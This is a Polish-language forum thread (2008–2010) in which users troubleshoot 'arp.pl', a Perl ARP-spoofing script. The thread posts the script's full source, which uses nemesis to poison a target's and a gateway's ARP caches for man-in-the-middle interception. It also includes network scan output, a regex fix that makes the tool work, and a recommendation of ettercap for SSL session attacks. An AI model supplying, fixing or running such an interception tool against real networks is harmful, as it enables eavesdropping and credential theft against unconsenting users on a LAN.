Strona 1 z 1

arp nie odczytuje adresu bramy

: 24 mar 2008, 23:42
autor: Sz@k@l
witam mam problem jak widac z arp nie odczytuje adresu bramy moze ktos pomoze??

1.terminal
szaki@szaki-desktop:~$ whoami
szaki
szaki@szaki-desktop:~$ su
Hasło:
root@szaki-desktop:/home/szaki# nmap -sP 192.168.1.*

Starting Nmap 4.20 ( http://insecure.org ) at 2008-03-24 22:41 CET
Host 192.168.1.147 appears to be up.
MAC Address: 00:1D:7D:37:BE:35 (Unknown)
Host 192.168.1.181 appears to be up.
Host 192.168.1.254 appears to be up.
MAC Address: 00:04:ED:22:A4:E8 (Billion Electric Co.)
Nmap finished: 256 IP addresses (3 hosts up) scanned in 6.231 seconds
root@szaki-desktop:/home/szaki# tcpdump 'ip host 192.168.1.181'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes


2.
szaki@szaki-desktop:~$ cd ~/Desktop/
szaki@szaki-desktop:~/Desktop$ chmod +x arp.pl
szaki@szaki-desktop:~/Desktop$ su
Hasło:
root@szaki-desktop:/home/szaki/Desktop# cat /proc/sys/net/ipv4/ip_forward
1
root@szaki-desktop:/home/szaki/Desktop# echo 1 > /proc/sys/net/ipv4/ip_forward
root@szaki-desktop:/home/szaki/Desktop# ./arp.pl 192.168.1.3 192.168.1.181
[-] Interwal nieznany, przyjmuje 10 sekund.
[-] Interfejs nieznany, przyjmuje eth0.
[+] Wysylam zadanie echa do 192.168.1.3.
[+] Wysylam zadanie echa do 192.168.1.181.
[+] Odczytuje adresy MAC z pamieci podrecznej ARP.
[!] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65.
root@szaki-desktop:/home/szaki/Desktop#

Odp: arp nie odczytuje adresu bramy

: 14 kwie 2008, 04:37
autor: delcadro
Powiedz mi kolego najpierw co to za skrypt ten arp.pl bo nikt nie jest wróżką i nie wiemy co jest w 65 linijce tego skryptu.

W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie !] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65

W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie

Kod: Zaznacz cały

!] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65

Powiedz mi kolego najpierw co to za skrypt ten arp.pl bo nikt nie jest wróżką i nie wiemy co jest w 65 linijce tego skryptu.
Widze że pobiera MAC .......czyżby arp pisoning??
Jeśli tak to zapraszam na inne forum...mniej poważne...

Odp: arp nie odczytuje adresu bramy

: 15 lis 2008, 22:33
autor: maciek0087
Sprubuj tak:
- chmod -x (nie +) (i wykrywalność daj jako root)
-sudo perl ./arp.pl <brama> <cel> 10 eth0/1 (zależy którego używasz)
Powinno zadziałać

Odp: arp nie odczytuje adresu bramy

: 28 mar 2009, 05:37
autor: Synchr0
nie pomoglo problem sie powtarza ,czy mozliwe jest że błąd pojawił się w pliku źródłowym ?



#!/usr/bin/perl

$gateway = shift;
$target = shift;
$time = shift;
$device = shift;

$i = 1;
$SIG{INT} = \&quit;

# Sprawdz poprawnosc argumentow przed startem

if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($time=~/^$/)
{
$time = 10;
print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}

if ($time!~/^[0-9]+$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($device=~/^$/)
{
$device = "eth0";
print("[-] Interfejs nieznany, przyjmuje eth0.\n");
}


# Odczytaj adresy MAC bramy i celu

print ("[+] Wysylam zadanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");

print ("[+] Wysylam zadanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");

# Pakiety wyslano, mozemy odczytac adresy MAC

print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);

$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);

# Sprawdz czy odczytane adresy MAC sa poprawne

if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}

if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $target.");
}

# Odczytaj wlasny adres IP oraz MAC

print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];

print "[+] Interwal wysylania pakietow to $time sekund.\n\n";

print "-> Ty: $you [$you_mac]\n";
print "-> Cel: $target [$target_mac]\n";
print "-> Brama: $gateway [$gateway_mac]\n\n";

# Wysylamy pakiety ARP

while($i)
{
print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");

print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");

sleep $time;
}

# Wcisnieto ctrl+c, przywracamy oryginalne ustawienia

sub quit
{
$i = 0;
print "[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}

Odp: arp nie odczytuje adresu bramy

: 01 kwie 2009, 15:24
autor: cukier_lukier
hm, na pewno błąd jest w obu wyrażeniach :

Kod: Zaznacz cały

if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) 
gdzie powinny być małe litery, czyli:

Kod: Zaznacz cały

if($gateway_mac!~/^([a-f0-9]{2}\:){5}[a-f0-9]{2}$/) 
no a potem to już wpisujecie co najwyżej złe adresy bramek/ip

aha, przypominam, że kod umieszczamy w tagach code !

Odp: arp nie odczytuje adresu bramy

: 19 kwie 2009, 16:54
autor: Synchr0
to akurat nie bylo ciezkie do rozkminienia szczegolnie ze skrypt podaje gdzie jest blad ...
W kazdym wypadku polecam przerzucic sie na ettercap'a tam za pomoca jednego programu mozna wykonac cala robote rowniez wliczajac w to atak na sesje ssl ... do ktorego niektorzy wlaczaja po 5 okien jest rownierz opcja zatrudawania adresow z zewnatrz co mnie bardzo zaintrygowalo niestety jest jeszcze na bardzo niskim poziomie czyli dziala wylacznie w offensive mode co oznacza ze pozbawiamy atakowany router lacznosci z netem ... sorry za mala dygresie ,ale pomyslalem ze moze sie to komus przydac :)

Odp: arp nie odczytuje adresu bramy

: 13 lip 2010, 14:22
autor: Wanted
Jeśli jeszcze jest problem, to sposób użycia jest

Kod: Zaznacz cały

./arp.pl <adres bramy> <adres celu> <interwał> <interfejs>
i oczywiście wcześniej

Kod: Zaznacz cały

chmod +x arp.pl
Jeśli chcesz to na moim forum jest opisane dokładne użycie tego programu, bo pewnie potrzebny Ci arp.pl do przechwytywanie informacji w sieciach LAN ;-)
Link do forum http://www.ihacker.cba.pl

Odp: arp nie odczytuje adresu bramy

: 13 gru 2010, 16:55
autor: thomash
mam podobny problem poniewż gdy próbóje uzyć ./arp.pl <ip barmy> <ip celu> oczywiście bes tych znaczków to mi wyskakuje że nie moze mi odczytac adresu mac da ip bramy. jestem nowicjuszem więc ...